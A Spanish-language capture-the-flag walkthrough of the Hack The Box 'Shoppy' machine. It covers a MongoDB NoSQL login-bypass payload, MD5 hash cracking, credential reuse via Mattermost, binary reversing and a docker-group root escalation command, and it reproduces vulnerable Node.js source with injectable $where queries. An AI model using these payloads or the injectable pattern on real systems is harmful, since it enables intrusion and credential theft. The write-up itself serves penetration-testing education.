This page looks best with JavaScript enabled

Hack The Box - Shoppy

 •  ✍️ sckull

Shoppy expone un sitio web donde explotamos una vulnerabilidad NoSQL Injection la cual nos permitió acceder a información de usuarios, con ello logramos ingresar a Mattermost donde encontramos credenciales que nos dieron acceso por SSH. Accedimos a un segundo usuario con la información obtenida de un fichero ejecutable. Finalmente escalamos privilegios utilizando el comando de docker.

Nombre Shoppy box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.180
Maker

lockscan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.7, 4.6, 4.7, 5.3, 5.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), 9093 y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Nmap 7.92 scan initiated Sun Sep 18 00:13:12 2022 as: nmap -p22,80,9093 -sV -sC -oN nmap_scan 10.129.44.202
Nmap scan report for 10.129.44.202 (10.129.44.202)
Host is up (0.068s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sun, 18 Sep 2022 00:13:36 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 134
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 134
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.7598e-05
|     go_gc_duration_seconds{quantile="0.25"} 0.000132256
|     go_g
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sun, 18 Sep 2022 00:13:37 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 134
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 134
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.7598e-05
|     go_gc_duration_seconds{quantile="0.25"} 0.000132256
|_    go_g

[.. snip ..]

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 18 00:14:59 2022 -- 1 IP address (1 host up) scanned in 106.32 seconds

Puerto 9093

El puerto 9093 parece aceptar solo solicitudes HTTP.

1
2
3
4
5
6
7
8
 π ~/htb/shoppy ❯ nc 10.129.44.202 9093

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request                                                                                                                                                                             
 π ~/htb/shoppy ❯

Dicho puerto muestra algun tipo de log que cambia por cada visita.

image

Web Site

Los headers del sitio web indican una redirección al dominio shoppy.htb el cual agregamos al archivo /etc/passwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/shoppy ❯ curl -sI 10.129.44.202
HTTP/1.1 301 Moved Permanently
Server: nginx/1.23.1
Date: Sun, 18 Sep 2022 00:18:50 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://shoppy.htb

 π ~/htb/shoppy ❯ 

El sitio muestra unicamente un contador.

image

Directory Brute Forcing

feroxbuster muestra la dirección /admin y /export.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 π ~/htb/shoppy ❯ feroxbuster -u http://shoppy.htb/ -x php,txt,. --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://shoppy.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, txt, .]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301       10l       16w      179c http://shoppy.htb/images
302        1l        4w       28c http://shoppy.htb/admin
301       10l       16w      171c http://shoppy.htb/js
301       10l       16w      173c http://shoppy.htb/css
200       26l       62w     1074c http://shoppy.htb/login
301       10l       16w      179c http://shoppy.htb/assets
302        1l        4w       28c http://shoppy.htb/Admin
200       26l       62w     1074c http://shoppy.htb/Login
301       10l       16w      177c http://shoppy.htb/fonts
302        1l        4w       28c http://shoppy.htb/ADMIN
301       10l       16w      181c http://shoppy.htb/exports
200       26l       62w     1074c http://shoppy.htb/LOGIN

NoSQL - Auth Bypass

Observamos en la direccion /admin un panel de logeo.

image

/export muestra un mensaje “comun” a las rutas de una aplicación escrita en NodeJS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/shoppy ❯ curl -s http://shoppy.htb/exports/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /exports/</pre>
</body>
</html>
 π ~/htb/shoppy ❯

Intentamos con distintos payload de SQLi auth bypass pero no funcionó, el sitio mostraba un codigo de respuesta 504 en la mayoria de estos.

image

Tras intentar con un payloads de MongoDB (' || 1==1%00) logramos realizar bypass al login e ingresar.

image

En la opción de busqueda de usuarios es posible encontrar información de un usuario conocido, la aplicación muestra un boton que redirige a un archivo json.

image

Observamos información del usuario admin en el archivo, sin embargo el hash no se encuentra en worldist o sitios comunes.

1
2
3
4
5
6
7
8
9
 π ~/htb/shoppy ❯ curl -s http://shoppy.htb/exports/export-search.json | jq
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  }
]
 π ~/htb/shoppy ❯

Utilizamos nuevamente el payload para el Bypass en la busqueda de usuarios, observamos en el archivo un nuevo usuario: josh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/shoppy ❯ curl -s http://shoppy.htb/exports/export-search.json | jq
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  },
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]
 π ~/htb/shoppy ❯

Password Hash Cracking

Tras ejecutar john sobre este hash logramos obtener su valor en texto plano.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/shoppy ❯ john hash --wordlist=$ROCK --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (?)
1g 0:00:00:00 DONE (2022-09-20 00:47) 1.234g/s 17707Kp/s 17707Kc/s 18710KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
 π ~/htb/shoppy ❯

Mattermost - Josh

Vhosts

La contraseña no funciona en el panel de logeo y en el servicio SSH, por lo que realizamos una enumeración de subdominios con ffuf, descubrimos mattermost.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/shoppy ❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.shoppy.htb" -u http://shoppy.htb -fw 5

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://shoppy.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.shoppy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 108ms]
:: Progress: [100000/100000] :: Job [1/1] :: 520 req/sec :: Duration: [0:03:57] :: Errors: 0 ::
 π ~/htb/shoppy ❯

Se observa el login de mattermost en el subdominio.

image

Tras ingresar con las credenciales encontradas, observamos multiples canales.

1
josh : remembermethisway

image

En uno de los canales descubrimos un mensaje mencionando al usuario josh con credenciales de acceso.

1
2
username: jaeger
password: Sh0ppyBest@pp!

image

User - Jaeger

Con las credenciales encontradas logramos ingresar por SSH y obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 π ~/htb/shoppy ❯ ssh jaeger@shoppy.htb # Sh0ppyBest@pp!
jaeger@shoppy.htb's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
manpath: can't set the locale; make sure $LC_* and $LANG are correct
jaeger@shoppy:~$ whoami;id;pwd
jaeger
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
/home/jaeger
jaeger@shoppy:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  ShoppyApp  Templates  Videos  shoppy_start.sh  user.txt
jaeger@shoppy:~$ cat user.txt 
218dbafd75fd77546952987c70a4b818
jaeger@shoppy:~$

Observamos el codigo fuente del sitio en ShoppyApp/, en este caso el del login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//[.. snip ..]

app.post('/login', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    if (username === undefined || password === undefined) {
        res.status(400).send('Bad Request');
        return;
    }
    const passToTest = require('crypto').createHash('md5').update(password).digest('hex');
    const query = { $where: `this.username === '${username}' && this.password === '${passToTest}'` };
    const result = await User.find(query).maxTimeMS(350);
    if (result.length === 0) {
        res.redirect('/login?error=WrongCredentials');
    } else {
        req.session.username = req.body.username;
        req.session.save((error) => {
            if (error) {
                res.redirect('/login?error=WrongCredentials');
            } else {
                res.redirect('/admin');
            }
        });
    }
});
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
const express = require('express');
const mongoose = require('mongoose');
const User = require('./schemas/user');
const Product = require('./schemas/product');
const session = require('express-session');
const cookieParser = require('cookie-parser');
const MongoStore = require('connect-mongo');
const fs = require('fs');

const app = express();

app.use(express.urlencoded({extended: true}));
app.use(express.json());
app.use(cookieParser());

const mongoUri = 'mongodb://127.0.0.1/shoppy';

app.use(session({
  secret: 'DJ7aAdnkCZs9DZWx',
  store: MongoStore.create({mongoUrl: mongoUri}),
  resave: false,
  saveUninitialized: false
}));

app.disable('x-powered-by');
app.set('view engine', 'ejs');

mongoose.connect(mongoUri);

app.use(express.static('static'));
app.use('/exports', express.static('exports'));

app.get('/', (req, res) => {
    res.sendFile('index.html', {root: __dirname + '/views'});
});

app.get('/admin', async (req, res) => {
    if (req.session.username) {
        const data = await Product.find({});
        res.render('admin.ejs', {products: data});
    } else {
        res.redirect('/login');
    }
});

app.get('/admin/search-users', async (req, res) => {
    if (req.session.username) {
        if (Object.keys(req.query).length > 0) {
            try {
                const query = { $where: "this.username === '" + req.query.username + "\'" };
                const data = await User.find(query).maxTimeMS(350);
                if (data.length === 0) {
                    res.render('search.ejs', {info: 'No results for your search'});
                } else {
                    fs.writeFileSync('./exports/export-search.json', JSON.stringify(data));
                    res.render('search.ejs', {link: 'http://shoppy.htb/exports/export-search.json'});
                }
            } catch (e) {
                res.status(500).send('Internal Server Error');
            }
        } else {
            res.render('search.ejs');
        }
    } else {
        res.redirect('/login');
    }
});

app.get('/login', (req, res) => {
    if (req.query.error === 'WrongCredentials') {
        res.sendFile('login-error.html', {root: __dirname + '/views'});
    } else {
        res.sendFile('login.html', {root: __dirname + '/views'});
    }
});

app.post('/login', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    if (username === undefined || password === undefined) {
        res.status(400).send('Bad Request');
        return;
    }
    const passToTest = require('crypto').createHash('md5').update(password).digest('hex');
    const query = { $where: `this.username === '${username}' && this.password === '${passToTest}'` };
    const result = await User.find(query).maxTimeMS(350);
    if (result.length === 0) {
        res.redirect('/login?error=WrongCredentials');
    } else {
        req.session.username = req.body.username;
        req.session.save((error) => {
            if (error) {
                res.redirect('/login?error=WrongCredentials');
            } else {
                res.redirect('/admin');
            }
        });
    }
});

app.listen(3000, 'localhost');

User - Deploy

Jaeger tiene permisos para ejecutar el fichero password-manager como deploy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
jaeger@shoppy:~$ sudo -l -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:

Sudoers entry:
    RunAsUsers: deploy
    Commands:
        /home/deploy/password-manager
jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
jaeger@shoppy:~$

Tras ejecutar el fichero este espera una contraseña.

1
2
3
4
5
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: password123
Access denied! This incident will be reported !
jaeger@shoppy:~$ 

Observando las strings del fichero se muestra que realiza un cat a un archivo de texto al cual no tenemos acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
jaeger@shoppy:~$ strings /home/deploy/password-manager |head -n 50

[.. snip ..]

GLIBC_2.2.5
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
u/UH
[]A\A]A^A_
Welcome to Josh password manager!
Please enter your master password: 
Access granted! Here is creds !
cat /home/deploy/creds.txt
Access denied! This incident will be reported !
;*3$"
zPLR
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry

[.. snip ..]

jaeger@shoppy:~$

Utilizamos Ghidra para analizar el codigo fuente del archivo, observamos la contraseña esperada en el codigo, esta es: Sample.

image

Con esta contraseña la ejecución del fichero nos muestra el contenido del archivo de texto, credenciales.

1
2
3
4
5
6
7
8
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$

El usuario existe en la máquina por lo que cambiamos a este usuario exitosamente con las credenciales.

1
2
3
4
5
6
7
jaeger@shoppy:~$ su deploy
Password: # Deploying@pp!
$ whoami
deploy
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
$

Observamos el codigo fuente del fichero que ejecutamos anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat password-manager.cpp
#include <iostream>
#include <string>

int main() {
    std::cout << "Welcome to Josh password manager!" << std::endl;
    std::cout << "Please enter your master password: ";
    std::string password;
    std::cin >> password;
    std::string master_password = "";
    master_password += "S";
    master_password += "a";
    master_password += "m";
    master_password += "p";
    master_password += "l";
    master_password += "e";
    if (password.compare(master_password) == 0) {
        std::cout << "Access granted! Here is creds !" << std::endl;
        system("cat /home/deploy/creds.txt");
        return 0;
    } else {
        std::cout << "Access denied! This incident will be reported !" << std::endl;
        return 1;
    }
}$

Privesc

El usuario deploy pertenece al grupo de docker.

1
2
3
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
$

Tras intentar con el comando sugerido por GTFOBins - docker logramos obtener una shell root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# pwd
/
# cd root
# ls
root.txt
# cat root.txt
df06983c0ca5a149f086e79984152a8a
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe